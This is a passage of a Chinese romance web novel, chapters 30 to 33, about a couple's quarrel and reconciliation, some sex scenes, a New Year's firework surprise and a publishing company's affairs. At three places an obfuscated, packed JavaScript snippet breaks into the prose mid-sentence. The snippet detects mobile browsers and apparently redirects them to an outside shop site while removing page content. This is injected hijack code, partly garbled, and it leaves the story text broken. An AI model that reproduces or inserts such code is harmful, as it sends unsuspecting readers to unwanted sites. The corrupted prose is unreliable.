我一个人紧张期待。见也好,不见也好,已经不重要了,反正你自己的事,从来没有想过与我商量。” 裴凝下意识出声:“可这确实是我自己的事,难道不应该这样吗?” “所以说啊,裴凝,我对你来说,根本不重要。”井稚苦笑,背有些弓起来,手垂在两侧,抓了抓衣角,又放开,“我以为谈恋爱,是把对方加入自己的生活轨迹里,可现在看来,你依旧分得清,你是你,我是我,我们是我们。” 裴凝又开始听不懂了。 她总是听不懂井稚的一些话。 “我们的轨迹还不够重合吗?我几乎除了上班,就是和你待在一起。” “但我根本融不进你的人生。你见到父母时,即使那样崩溃也不忘推开我;你想和我上床时,没有想过考虑过我的意见;你在跨年夜抛下我,说的居然不是对不起,而是让我自己去,你根本分不清对我来说重要的到底是乐队还是你。你说不想跟我谈未来,可是裴凝,即便是当下你也没有想和我好好谈,排在我前面的东西太多了,我好像永远都追不上你。” 裴凝站在原地,很久很久没有说话。 她不知道该说些什么。 她觉得井稚说得好像都对。 可是……她不知道。 她不知道在恋爱里,到底怎样才是对。 “你有这么多怨言,为什么当时不说呢?” 良久,裴凝轻叹道。 “我以为,你总有一天会走向我。” 井稚有些站不住,后退两步,跌坐在沙发上。 “我只是做了我觉得情侣之间应该做的,你说的那些,我没有想过。” “我知道,裴凝。我现在知道了,恋爱,对你来说,不过是消遣。” 裴凝感觉心脏拧了一下。 她说不上那感觉是恼怒,还是刺痛。 “井稚,我还不至于此吧。” 井稚自觉失言,脸埋在两手之间,脊背的起伏带着无声的情绪。 他腕间的机械表勤恳地转着,不停歇地发出哒哒声,砸在憋闷的沉默中。 许久,井稚起身,眼神始终没有看向裴凝。 “对不起,我言重了。” 没有得到裴凝的回答,井稚径自走向门口。 “早点休息,明天注意安全。” 裴凝听到门打开了。 有那么一瞬间,她很想回过身去,拽住井稚。 她想让他留下。 她很想对他说,那些她听不懂的话,能不能就那样过去,都不要计较了。 她希望这个空间里,有他的体温。 可是,裴凝没有。 她依旧一动不动地站在原地,留给井稚一个冷漠的后背。 井稚最后一丝期望也被浇灭了。 他忽然感觉心里有石头落了地,反而不那么压抑了。 离开前,他淡淡道: “新店定在江城了,我明天开始过去出差,忙签约装修的事,可能要过段时间再回来。你按时吃饭,好好休息,工作别太累了。” 合门声响。 裴凝再一次被留在了自己家。 不知道站了多久,站到仿佛双腿失去知觉,她忽然蹲下。 藏在手心的一双眼睛半阖,似乎有些酸涩。 30. Chapter 30 “裴总,你在听吗?” 方昀游再一次停下,轻轻敲了敲裴凝面前的桌子。 走神的裴凝恍然转过视线,对上方昀游平和的目光。 “抱歉。”裴凝起身,后撤一步,“我去下洗手间,你们先说。” 裴凝快步走出会议室,脚下步子越追越紧。 站在洗手间的镜子前,裴凝看着自己因为没粘牢而脱了一半的睫毛,还有与妆容极度不适配的橘色口红,疲惫地垂下了头。 双手撑在洗手台上,她脑子里似乎有很多事情,可一旦去想,又觉得只剩一片空白。 不知道过了多久,身边来来回回路过许多员工,裴凝终于直起身子,从一旁的台子上拿了卸妆水。 冰凉的水贴上皮肤的瞬间,刺痛感直达头顶。 像被人从天灵盖硬塞进一团混沌的黑,裴凝睁开眼后,依旧看不清眼前的景象,陡然失去平衡,脚下滑了两步,直到再次扶上洗手台,才勉强站稳。 站在原地缓了很久,视线从黑变花再变白,终于恢复了正常。 方才那么多人在这里进出,偏偏此刻一个人都没有。 裴凝苦笑。 走出洗手间,裴凝往会议室的方向走去。 还没走到,便看到前方的门开了,三三两两的人群从会议室里走出。 她停住步子,没有逆着人流上前。 方昀游走在最后面,看到裴凝后,脚下快了些,越过几个人,站在裴凝面前。 “裴总,你没事吧?” 裴凝摇摇头。 “我没事。你们开完了吗?” “嗯,已经结束了。我看你这几天状态都不太好,要不回去休息一下?” “没关系,方总,谢谢你。” 方昀游没再坚持,短暂停顿后,他又道:“破晓现在也算是彻底走上正轨了,下个月我就回总部了。” 裴凝礼貌接道:“这段时间麻烦你了。” 方昀游没有回复她的客套。 出乎意料地,他问:“走之前,要不要一起吃个饭?” 裴凝终于,觉察出了他的过分热情。 和井稚在一起后,她好像不自觉卸下了很多负担,思维变得简单,连最擅长的桃花雷达也失效了。 她敛起笑意,很快拒绝:“不了,方总。祝你一路顺风。” 方昀游没有纠缠,只是依旧淡淡笑道:“好。” - 下班后,裴凝接裴悯去了一家西餐厅吃晚餐。 她说裴悯这几年朴素的东西吃太多了,就得吃点华而不实的。 开胃菜上了一碗罗宋汤,超大的碗沿中间,就留了一小块盛汤的区域。 裴凝想给裴悯盛出一小碗,盛了一勺,发现没有必要,干脆直接推到她面前。 “妈,你喝吧。” 裴悯虽然这几年窝在大山里过得清贫,但她年轻时该见的世面都见过。在西餐厅都罕见的年代,她早已品尝过这种新奇玩意。 裴悯尝了一口,点点头:“还可以,你尝尝。” 裴凝拿勺子舀了一勺。 “还行,比井稚做的差点。” 入口后,她脱口而出。 说完,才愣了一下。 “井稚是谁?” 裴悯笑眯眯问。 裴凝好半天才回过神来。 “我没有和你提过他吗?” “没有。” “井稚是我男朋友。” “哦,谈恋爱了呦。” 裴悯从不多问什么,都是裴凝愿意说,她便听,裴凝不愿说,她也不好奇。 裴凝仔细回想了一下,才发现,她确实没有和裴悯说过井稚的事。 “我怎么会没和你说过呢。” 裴凝放在桌上的手往下收了收,眼神落在了空无一物的盘子上。 “你原来也不和我说呀,都是被我发现了才提一句。” 裴悯回答道。 本是再平常不过的一句话,裴悯却瞧见裴凝低着头沉默不语。 她看出什么,但没有直接问。 “你男朋友,做饭很好吃哦?” “嗯,很好吃。” “那不得请我尝尝?” “他走了。” “走了?分手了呀?” 裴凝叹了一口气,抬起头。 “没分手。他出差了,不知道什么时候回来。” 井稚走的这一周里,每天都会给她发消息,但只有贫瘠的“早安”、“晚安”、“吃饭了吗”、“早点休息”。 裴凝已经不知道怎么形容他们的关系了。 “没分手,就来得及嘛。” 裴悯切着刚上桌的牛排,轻松道。 “说起来,他还是你粉丝。” “是吗?那我更期待跟他见面了。” 裴凝措辞了很久,犹豫着开口:“妈,你说我是不是经常会伤害别人啊?” “人和人在一起,总是会互相伤害的。” “为什么?” “不重要的人,伤害之后就离开了。重要的人,才会留下来不停地纠结,伤害、愈合、再伤害、再愈合。” “是……这样吗?” “你伤害人家啦?” 裴凝思考着裴悯的话,迟钝地点点头。 “好像是。” “那简单。你伤害了他,你负责去愈合就好了。” 愈合吗? 那要怎么做? 仔细想想,裴凝之前对待感情的处理方式,无论是谁伤害了谁,她都会直接选择离开。 裴悯说的,她不会。 “怎么愈合?” 裴凝诚心发问。 “这我可就不知道喽,我反正没愈合过什么人,没经验。” “怪不得,我说我是随谁了,原来就是随你了。” 裴凝吐槽道。 裴悯出声反驳:“没吃过猪肉还没见过猪跑啊?你不是写了那么多男男女女的事吗,跟你自己的角色学学呀。把人气跑了,去追不就得了。” 裴凝小声抱怨:“才不是我气跑的。“ “那你不追啦?“ 想了一会儿,裴凝下定决心般,坐直身子,眼睛久违地亮起来些。 “追,明天就追!“ - 裴凝要了井稚新店的地址,但没有告诉他自己要去。 她没有开车,是坐高铁去的。 从车站出来时,正是中午。明日高悬,是一天中最暖和的时间,裴凝稍微敞开些大衣。 站在路边打车的时候,裴凝无意间看到对面有一家花店。她定定看了一会儿,然后收起手机,穿行而过。 捧着一束黄玫瑰从花店出来,裴凝越发有些忐忑。 这种新奇的感受几乎裹紧了她。 甩了甩脑子里乱七八糟的想法,裴凝坐上车。 路程不算远,十五分钟便到了。 裴凝很快看到了那个还只有个毛坯的店面,在一堆精致装修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067973|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的邻居中格外显眼。 她其实不确定井稚这个时间在不在店里,也不知道如果他不在,她应该去哪。 她就是这样莽撞地来了,就像手里这束胡乱准备的花一样没有计划和安排。 裴凝深吸一口气,迈出第一步。 站在店门口,裴凝没有再往进走。 店里只有几个在丈量尺寸的师傅,听到动静,侧头看了她一眼,继续扭回去干活。 裴凝没有看到井稚。 “打扰了,请问,老板在吗?” 她还是问了一声。 依旧没有人说话,裴凝的心已经凉了大半。 她思考着,是联系井稚告诉他自己来了,还是就此打道回府。 忽然,一个熟悉的声音从店铺里侧传出来。 “这里我想要空出来,对,要做一个半开放的……” 井稚手里拿着图纸,往外走着,拐出墙角时,他下意识地抬头,然后瞬间愣在原地。 裴凝站在门沿上,手里捧着一束玫瑰花,轮廓融在光晕里,表情被逆光遮掩,看不太清。 她好像是在笑。 井稚想不了那么多了。 他压抑九天的思念,在看到裴凝的那一刻,像经历了猛烈地壳运动的火山,肆无忌惮地喷发了。 压根不管井稚本人面子的。 裴凝见到人后,悬着的心终于慢慢归位。 她看着井稚震惊而欣喜的神色,缓缓张开双臂。 “井稚。” 她在唤他。 短短十几米的距离,井稚是用狂奔的。 他装了九天,终究抵不过裴凝的一个笑。 哪还有什么生气、埋怨,哪还有什么伤心、失落。 统统都是狗屁。 还在一起就好。 还能见面就好。 “裴凝。” 他紧紧揽住她,感受到她的心跳重新跃动在自己怀中。 真实而动人。 “裴凝,我好想你。” - “你慢点……” 酒店的空调孜孜不倦地循环着室内的暖风,鼓鼓风声却逐渐掩藏在连绵低语中。 云雨翻滚,不知窗外青天白日。 裴凝第三次推了推井稚的肩,轻声唤他慢些。 声线却是越发不稳了。 “不要。” 井稚终于回应了她。 还未等她再说什么,井稚又侵入她齿间,几近粗暴地勾着她的舌,她难以开合的嘴唇就这样被他霸占。 反正裴凝现在全身上下,也没有几处不被他霸占的了。 她干脆顺从地迎合上去。 井稚掠夺着她的氧气,直到她憋红了眼,才将将退出来些。 “好凶。” 裴凝的声音带着水汽,忍不住抱怨。 井稚又不理她了。 他又不知道探索到哪里去了。 “等会儿……不行!” 裴凝小声惊呼,瞬间酸软的腿扭曲地瘫在床上,转眼又被井稚摆弄开。 她想把心脏按回左心房,她感觉那玩意快跳出来了。 “这样对吗,裴老师?” 井稚不耻下问。 裴凝没了力气,懒得说话,井稚见状,又伸出手去,故意惹她一阵战栗,作为她不回话的惩罚。 “你去进修了?” 裴凝蹙眉瞪他。 “都是您教得好,”井稚嘴角噙笑,“裴老师。” 31. Chapter 31 “你知道黄玫瑰的花语吗?” 裴凝俯身捡起方才不小心从床头桌打落的玫瑰花。 被子滑下去些,她弯着身子,脊背露出大半。 拿起花后,裴凝被井稚拽了回去,整个人严丝合缝地被他裹在怀里。 “是什么?” “道歉。” 裴凝圆圆的眼睛里,闪着微光。她仰头看向井稚,将花往他面前推了推。 “送给你。” 井稚接过,又想起自己的委屈似的,撇了撇嘴角。 “为什么道歉?” “因为……我没有和你分享喜悦。” “还有呢?” “工作太忙总是忽视你。” “还有呢?” “还有?……许多事没有和你商量?” 井稚瞪眼看过去,张着嘴想说什么,但最后只化成一个弹脑门。 “笨蛋。” 裴凝好像完全没说到点子上。 不过,算了,井稚想。 能让她主动道歉已经是很大的进步了,慢慢来吧。 吵架和好,是开心的事,他不想再说那些破坏氛围的话。 “干嘛打我。” 裴凝吃痛,不满地蜷缩起来。 见状,井稚叹气,放下手里的花,把裴凝抱过来些,轻轻帮她揉着。 “井稚,你什么时候回家? “可能还要过几天。” “还要过几天吗?”裴凝吸吸鼻子,故意用鼻尖去蹭他肩膀,“不能和我一起回吗?” 井稚被痒意挠得倒吸一口气。 他低头去看裴凝的眼睛,明知道她是在假装委屈逗自己,可还是不可抑制地陷了进去。 “……那你陪我待过周末,我周一和你一起回去吧。” “好耶。” 裴凝马上亲了他一口。 尾音被空调风声卷走,两人相视沉默片刻。 然后—— “裴凝,你能不能老实点?” “我怎么了?” 井稚感觉到裴凝顺着他的腿越滑越向上的膝盖,在触碰禁忌前及时制止她。 裴凝眼尾上挑,很是无辜地看着他,指尖却带着完全相反的媚意,不安分地摸索起他的腹肌。 “裴凝。”井稚咬牙切齿,一字一顿地盯着她道,“我再说一次,你老实点。” “听不见你说什么呢。” 裴凝捂耳装傻状。 井稚紧抿着唇,不再与她争辩。 忽然,翻身跨过,将她双手交叠锢在额头上方,自上而下看着她。 “太过分了。” “有吗?”裴凝得逞般笑起来,“井老板定力不够,可不要怪别人哦。” 井稚冷哼一声:“那我看看你定力够不够。” 手指直击要害,触感温润。 裴凝惊呼:“你!” 指腹微涩,游弋自如,她霎时缴械。 “看来裴老师定力也一般。” 裴凝还想反驳什么。 但很快,她便发不出声音了。 害人终害己啊。 - 本来井稚跑去江城出差也是因为被裴凝气到所以临时起意,新店装修一时半会难有进展,又快过年了,他便先放下这边的事,安心和裴凝回青城。 车子停在楼下,井稚帮裴凝解开安全带。 “我得去我爸妈那接爆米花,你先上去吧。” 裴凝若有所思地点点头,状似随意道:“那你一会儿回来,直接来我家吧,我妈这两天在我这帮我照顾井小二呢。” “……?” 井稚感觉这好像不应该是这么云淡风轻说出来的话。 “怎么了?” 裴凝意料之中地看到井稚瞬间紧张的神色,差点憋不住笑意。 “那个,我还没准备好,”井稚有点结巴,手指扣着方向盘,“就先不去了!” “是什么没准备好,见偶像,还是见家长?” “都没准备好!……哎?你同意让我见家长了?” 井稚惊喜地回过头来。 “谈不上同不同意。我还是坚持我的想法,但是如果你想这样做,我希望能满足你。” 裴凝如实答道。 井稚感觉有种又甜又苦的味道充斥了鼻腔,让他有些酸涩。 他感动,但是也无奈。 “过年的时候,我去拜访裴悯老师吧。至于见家长……我不急,等你真的愿意的时候,再见也不迟。” 裴凝颔首,下了车。 还没进家,裴凝就听见井小二朝门口狂奔的声音。门一打开,站起来有半人高的大小狗立刻扑到她身上。 “好啦好啦,我也想你了。” 裴凝摸着井小二后背的软毛,蹲下身去安抚它。 “回来了?” 裴悯走出厨房,看到蹲在地上的一人一狗。 “嗯,回来上班。唉,还是写小说自由。” 裴悯再了解裴凝不过,瞧她这神色,就知道这一趟很顺利。 “男朋友哄回来了?” “当然,也不看看我是谁。” “怎么没和你一起来?你不是说他就住楼上吗。” “他害羞,过年再来。” 裴凝往沙发上一瘫,舒缓着自己酸痛的腿。 饭香钻进鼻子,她扭头看向厨房。 “妈,你做饭啦?” “对。” “那我们……” “没做你的。” 裴凝愤而起身:“妈!” 裴悯笑开,转身踱着步往厨房去。 “行了,等着吧,我再给你加个菜。” “嘿嘿,谢谢妈妈。我来洗菜!” 裴凝屁颠屁颠地跟上。 摘菜叶的时候,裴悯忽然道:“对了,你给我发的你们公司那些东西,我看过了。” “是吗?妈妈你是不是觉得我特别厉害。” “是挺厉害的。” 裴凝昂起头,开心地哼歌,脚下跳起小步子。 “我能去吗?” 裴凝动作一顿,扭着身子反应了一下:“啊?去哪?” “你们公司啊,”裴悯淡定道,“你们不是会签约作者吗,你看我行不行。” “怎么会突然有这个想法?” 裴凝菜也不洗了,任由手上的水滴在地上。 “时代在发展嘛,我也想改变改变。现在生活节奏这么快,我也变得浮躁了,有时候真忍不住把想写的东西立刻分享出去,后来我一想,这不就是你们说的连载嘛?那有你这么好的资源在这,我当然得利用一下。” 裴凝听了之后,没有开心,反而皱起眉来。 “就这样?” “就这样。” “你不怕被人发现我们的关系吗?” “我本来也不怕呀,是你一直比较有负担。” 确实,裴凝从入行以来,就极力避免自己和裴悯的关系为人所知,因为裴悯名气太大了,她怕自己会一直带着与裴悯有关的标签,怕两人之间的八卦盖过她的作品。 “妈,你是不是想帮我撑场子?” “唔,只能算是顺便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093068|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事吧。” “我就知道。”裴凝得到合理解释后才又重新转回身去,“真不用,我公司好着呢。” “你考虑考虑嘛,我真挺想试试的。” “不行哦。” 裴凝果断拒绝。 “真小气呦。” 裴悯笑道,没再多说。 - 除夕,裴凝特意把裴悯接到家里。 下午早些时候,井稚带着大包小包上门了。 见到裴悯的那一刻,他把自己准备好的话全忘了。 “裴,裴老师好。” 就只说出这一句,井稚急得下意识挠头。 裴凝见他紧张得很,站在门口不进来,上前去将他拽到沙发,替他解围道:“妈,你体谅一下吧,他最喜欢的作者一共就两个,一个是你一个是我,咱俩同时出现在他面前,确实是很有冲击力的。” 裴悯抿唇笑开,走到井稚面前,和善地伸出手:“你好。” “您好!我叫井稚!是裴凝的男朋友,也是您的书迷!” 裴悯示意他坐下,抚掌道:“我经常听小凝提起你。” “是吗?”井稚像机器人一样,一顿一顿地转头看向裴凝,“她都说我什么了?” “她说你做饭很好吃。” 井稚“嘿嘿”傻笑:“不值一提,有机会做给您尝尝。” 裴悯看了看坐在一边偷笑的裴凝,拍了拍她:“小凝,帮我把厨房的水果切一下吧。” “哦,好。” 裴凝顺从起身。 很快,客厅只剩下井稚和裴悯。 他更紧张了。 “小井,你很喜欢我们家小凝哦。” 裴悯慈眉善目,打趣道。 “嗯,很喜欢。” 井稚用力点头。 裴悯含笑看他,好一会儿没说话。 “您怎么这么看我?” 井稚被看得有些不好意思。 “就是觉得,我们以后应该会经常见面。” 这还是裴凝第一次肯将男朋友带给裴悯。 当局者迷,裴悯早瞧出裴凝对井稚的感情与之前的男朋友截然不同,只不过是她自己还没意识到罢了。 所以裴悯知道,她大概是终于撞上了所谓的命运。 井稚没听懂裴悯这句话的含义,懵懂道:“我会常来拜访您的。” “好。” 裴悯未作解释。 裴凝的事,她向来是不插手的。他们有自己的节奏,她只旁观就好。 裴凝端着果盘出来,见两人说说笑笑,氛围已经缓和了许多。 “说什么呢,这么开心?” 裴凝坐到两人中间。 “说你呢。” “说我什么?” 裴悯似笑非笑地看着她:“说你是工作狂,工作起来饭不吃觉不睡,听说还闹出了胃病?” 裴凝理亏,只能嗔怪地将气撒给井稚:“你怎么告状啊!不厚道!” 井稚撇撇嘴,两手一摊。 “好不容易找到能治你的了,我可得赶紧和裴老师诉诉苦。裴老师,你是不知道,我日子过得苦啊,就住上下楼,我还得天天到她公司才能见她……哎呦!” 裴凝拍他手背,拍得他痛呼一声。 “就你话多!” 三人言语间,笑声不断。 入了深冬,这暖气是越烧越旺了。 裴凝觉得今天家里格外地热。 她天生体凉,被两人左右围着,热意裹挟,似乎是她从未感受过的温暖。 感觉……倒也不错。 32. Chapter 32 井稚晚上要去父母家,所以没到饭点就走了。 裴凝和裴悯没有特别准备,做了顿简单的家常菜,吃完裴悯便回家了,说是在裴凝家睡不惯。 家里只剩裴凝一个人,她突然有些不知道该干嘛。 开着电脑,半小时也没输入几个字进去。 安静的空间像真空胶囊一样,抵挡住了楼下嘈杂的声音。 井小二趴在她腿上,软乎乎的,睡得正香,浅浅鼾声成了房间里的唯一声响。 捱到十一点半,裴凝终于放弃写作,抱着井小二,坐到床边,百无聊赖地看着窗外。 除夕夜的烟火要零点后才多,现在只是零零散散的,偶尔这边响,偶尔那边亮。 裴凝把井小二的耳朵捂上,怕它被吵醒。 裴凝和裴悯随性惯了,每年的新年都是这样过的,没有浓烈的节日氛围,也没有守岁的习惯。 但不知为何,今年让人觉得格外冷清。 要是井稚在,肯定会吵吵闹闹的。 裴凝莫名开始想他。 她正出神,客厅忽然传来些动静。 防盗门打开又合上,人走到卧室了她才回头。 “井稚?” “怎么在这坐着啊。” 井稚一进来就把井小二撵走,自己坐到裴凝身旁。 迷迷糊糊的井小二伸了个懒腰,走到地毯上,接着趴下睡了。 “你怎么来了?” 窗外又盛开一朵小烟花。 倒映在裴凝眼中,和她的眸光同时亮起来。 “跨年没有一起过,除夕总得一起吧。” 井稚低下头,凑近裴凝,笑眼弯弯。 这个距离,裴凝看得清他的睫毛扇动。 她忍不住亲了上去。 井稚顺势环住她腰,回应着她。 一开始只是慢慢的,像初见时试探,但很快,这个吻便急促起来,两人迫不及待地汲取对方的呼吸,直到身上都沾上相同的味道。 裴凝觉得很神奇,明明只是多了一个人,可家里好像突然就热闹了起来。 分开时,两人都没有急着后撤,就保持似碰非碰的距离,定定地看了很久。 井稚先打破寂静。 “快来看。” 他拽着裴凝走到窗边,揽过她肩。 “看什么?” 井稚只笑,不说话。 不给裴凝继续疑惑的时间,下一秒,无数烟花在眼前盛开。 零点了。 井稚掰正裴凝的脑袋,让她看向窗外,手指兴奋地指着一处:“看到了吗?” 裴凝定住。 她看到了。 万千光亮中,最特别的那一朵。 烟花闪着金光飞到天上,开出五色花瓣,四散在夜空中,然后又各自再次绽放,金色光芒瞬间蔓延,填满了裴凝的全部视线。 那光久久不灭,像许不尽愿望的流星。 然后,一朵,两朵,三朵。 同样的烟花不停盛开,让人眼花缭乱,直到其他花朵凋零殆尽,那片金色依旧洒满夜空,让星星都褪了色。 不眠夜色中,下了一场盛大的烟花雨。 “那是……你准备的吗?” “对!”光亮将黑夜衬成白昼,也衬出井稚的神采飞扬,“跨年没放成的烟花,我给你补上。” 裴凝说不出话来。 她写了十年小说,本以为自己早已见识过所有能想象到的浪漫场景。 然而,当真正置身在这样的烟花盛宴中时,却唯有词穷。 “谢谢。” 井稚扭过她身子,不满地敲了下她的头:“没啦?” 裴凝静静地看着他,眼底泛起涟漪。 “有,有很多。我很想告诉你我现在有多感动,我很想和你接吻,很想和你拥抱,但所有的话、所有的行动,对你准备的惊喜而言,都太贫瘠、太单薄了。所以我只想说,井稚,谢谢你喜欢我。” 话音未落,井稚忽然抱住她。 他怕她看到自己湿润的眼眶。 太没出息了,本来想把裴凝感动哭的,结果又是自己先哭了。 许久之后,情绪回落,裴凝推了推他,留出说话的缝隙。 “不过,烟花是谁放的?” “哦,是老徐和飞雀。” 井稚擦擦眼睛,放开裴凝。 “……嗯?” “他俩在外面喝酒呢,被我拽来帮忙的。” 说着,电话响了,井稚接起来,徐鹤淞的大嗓门立刻传出来。 “怎么说哥们儿!是不是圆满完成任务!” 井稚嫌弃地拿远了听筒:“谢谢你啊老徐,你快去陪飞雀吧,接下来的时间咱们就别互相打扰了,回头请你吃饭。” 说完,无视徐鹤淞的吐槽,井稚挂断电话。 裴凝忍不住笑起来。 “那我们现在是要过二人世界了吗?” “当然。” 井稚直接把手机关机,朝裴凝晃晃。 “那我们在哪过?” 井稚挑眉,给了裴凝个wink,暧昧地走近她,嗓音难得低沉:“要不,就这屋?” 裴凝眨眼:“同意。” - “洛洛,楚翡下午到。” 节后上班第一天,裴凝刚到公司,朱情就把一份签约文件放在她桌上。 “这么快?” “对,我本来说线上签也可以,但楚翡想见见你,正好当面聊也比较方便。” 裴凝翻开合同,看着里面的内容。 “不过只有两个小时时间,她明天要去其他城市签售,还要赶飞机,我已经提前把电子合同发给她看了。” “好,下午叫飞雀提前做准备,长话短说。” 说曹操曹操到,韩飞雀很快敲门进来。 “凝姐,总部那边工作交接结束,调给咱们的人手从今天开始就撤出破晓了。” 破晓人员壮大,已经不再需要总部帮忙,所以裴凝将远程办公的同事还给了逐日。 “好,辛苦了。” 韩飞雀笑笑,正要转身离开,裴凝叫住了她。 “哎,飞雀,你和徐帅哥进展如何,给我们八卦一下呗?” 裴凝笑眯眯地托着下巴看她。 韩飞雀低了低头,两只手有些不好意思地搭在身前。 “我都忘了问,凝姐,除夕那天的烟花怎么样?井老板真的有心了。” “当然是很好……别转移话题哦,你们除夕夜都在一起喝酒,是在一起了吗?” 韩飞雀摇摇头,嘴角还是弯弯的:“没有。” “这不是跟你和井稚一样。” 朱情锐评,幻视裴凝和井稚没在一起胜似在一起的那段时间。 “可能不太一样,”韩飞雀回答道,“我暂时没有谈恋爱的想法。” 裴凝有些惊讶:“那他……?” “我一开始就和他讲清楚了,他也同意慢慢接触,我们现在只是相处很舒服的朋友,偶尔在一起玩,但不会介入对方的生活。” “是……不喜欢他吗?” “不是,他很好,我是因为有好感才会和他接触的。”韩飞雀眉眼平淡,语气依旧慢条斯理的,“但我现在更在意我的事业,没有足够的时间谈恋爱,我对他的感情也不足以让我自愿牺牲时间精力来和他在一起,进一步发展的话,是不负责任的吧。” 裴凝赞同点头。 “你俩肯定能聊到一块去。” 朱情发表总结陈词,佩服地竖起拇指。 - 楚翡到达的时间比预计还晚了半个小时。 “不好意思,我来晚了。” 裴凝抬头,看到一个女生走进会议室。 一身素净大衣,一条白色的流苏围巾,没有任何首饰,只略施粉黛,一对弯月眉下,是透着纯净底色的瞳孔。 朱情连忙起身,将人带至桌前,为双方介绍。 裴凝很欣喜地伸出手去:“终于见面了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114821|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>楚翡笑了笑,没有回握,而是直接抱住了她。 “你好,老朋友。” 朱情原本还在感叹,两个看起来如此不同的人,为何能写出这样相似的文字。 在聊过几句之后,她便了然,裴凝和楚翡,即使性格不同,但内核是一致的。 “怎么会选择我们呢?” “你们的slogan不是‘女性文学为女性而生’吗,我觉得挺好的,就来了。” 楚翡和裴凝一见如故,两人聊了许多,关于创作,关于经历,关于未来的畅想。 就是没聊合同。 朱情适时提醒已经聊上头了的两人,时间不多了。 “哦对了,差点把正事忘了。”裴凝把合同递给楚翡,“你看一下,有什么问题我们再沟通。” 手机在衣服里震动,裴凝一开始没注意,是楚翡提醒她,她才发现。 但裴凝只来得及晃了一眼来电显示,刚看到井稚的备注,手机就没电关机了。 “有事吗?” 朱情问她。 井稚平时总喜欢打电话来听裴凝的声音,但怕打扰她工作,每次说不了几句便挂。 这个时间打来的,大概又是这样,应该没什么大事,所以她没多想,把手机又放回兜里。 楚翡的事情比较着急,裴凝想着先把这边处理完,一会儿结束了再回井稚。 “没事,先说咱们的吧。” 合同已经提前看过了,楚翡提了几个小的改动,和裴凝协商后,韩飞雀一一记下,然后很快整理了最终版,重新打印出来。 盖章签字,其余的流程一气呵成。 “合作愉快。” 楚翡伸出手,裴凝学她,直接抱了上去。 “合作愉快。” 送走楚翡后,裴凝正要回办公室,有个小编辑着急忙慌地跑了出来,差点撞到她身上。 “什么事,这么着急。” 一旁的朱情扶住人,蹙眉问。 “裴总,朱总,投稿,有个投稿……” 小编辑激动得话都说不顺畅,被朱情一个手势打断了话头。 “整理好语言,重新说。” “裴悯在咱们网站投稿了!” 裴凝和朱情同时惊讶出声:“裴悯?” “对,就是那个写……” “我知道是哪个裴悯。”裴凝越过她,快步往办公室去,“你先回去吧,我来处理。” 朱情跟上,小声问:“裴老师没跟你说吗?” “说了,我给拒绝了。”她顿了顿,又无奈补道,“这女人,真够倔的。” 裴凝打开网站一看,果然,她还是用自己真名发表的作品,刚发出不到半小时,已经登上网站第一了。 很快,许溪也跑来报告。 “凝姐,好几个媒体给我们打电话,问裴悯老师是不是签了咱们,你看要不要出个正式宣传啊?” 裴凝揉着眉心,不知道是该高兴还是生气:“先冷处理,优先发楚翡的宣传。” 许溪走后,朱情“啧”了一声。 “这下可不愁咱们公司打不出名气了。” 裴凝叹了口气,只能笑笑。 “真拿她没办法。” 朱情看了看时间,已经过了下班点很久了。 “那你先回去问问,有什么明天再说。” 说完,她正要走,忽然想起什么,又转过身来。 “对了,你刚刚不是有电话吗?” 朱情一提醒,裴凝才想起手机还没充电。她一边和朱情说着拜拜,一边把充电线插上。 等了半分钟,手机才开机。 连接上网络的那一刻,无数条消息涌了进来。 连续不断的震动从手心传来,让人猝不及防。 裴凝心里一紧,有些不好的预感。 正要打开微信,井稚的电话又打了进来。 裴凝很快接起,井稚的声音几乎是同时传出: “你为什么不接电话啊?!” 33. Chapter 33 井稚在电话里说,今天遛狗的时候,井小二被别人家的大狗咬了,出了很多血。 裴凝立刻往宠物医院赶,到的时候,井稚正站在隔离区前,看着笼子里的井小二。 他紧皱着眉,手指绞在一起,在原地踱着碎步,不停和井小二说话,安抚它的情绪。 裴凝走过去,摸了摸他的背。 井稚扭头看了她一眼,又把视线转回去。 “医生怎么说?” “伤口不算严重,及时消毒包扎了,再隔离观察一下,没有问题的话就能回家了。” “嗯。” “但是小二吓到了,应激表现比较明显,不知道什么时候才能哄好。” 裴凝从笼子缝隙伸进手指去,轻轻抚摸着井小二的头。 “对不起,我来晚了。” 宠物医院里此起彼伏的猫叫狗吠,吵得人心烦。 相对无言许久,井稚深深叹了一口气。 “你下午怎么了?” “我在开会,手机没电了。” 意料之内的回答,井稚轻笑了一声,嘴角扬起苦涩的弧度。 “你看到我的电话了吗?” 裴凝一时答不上来。 她有一刻,甚至想撒谎。 “看到了。” 最终,裴凝还是轻声道。 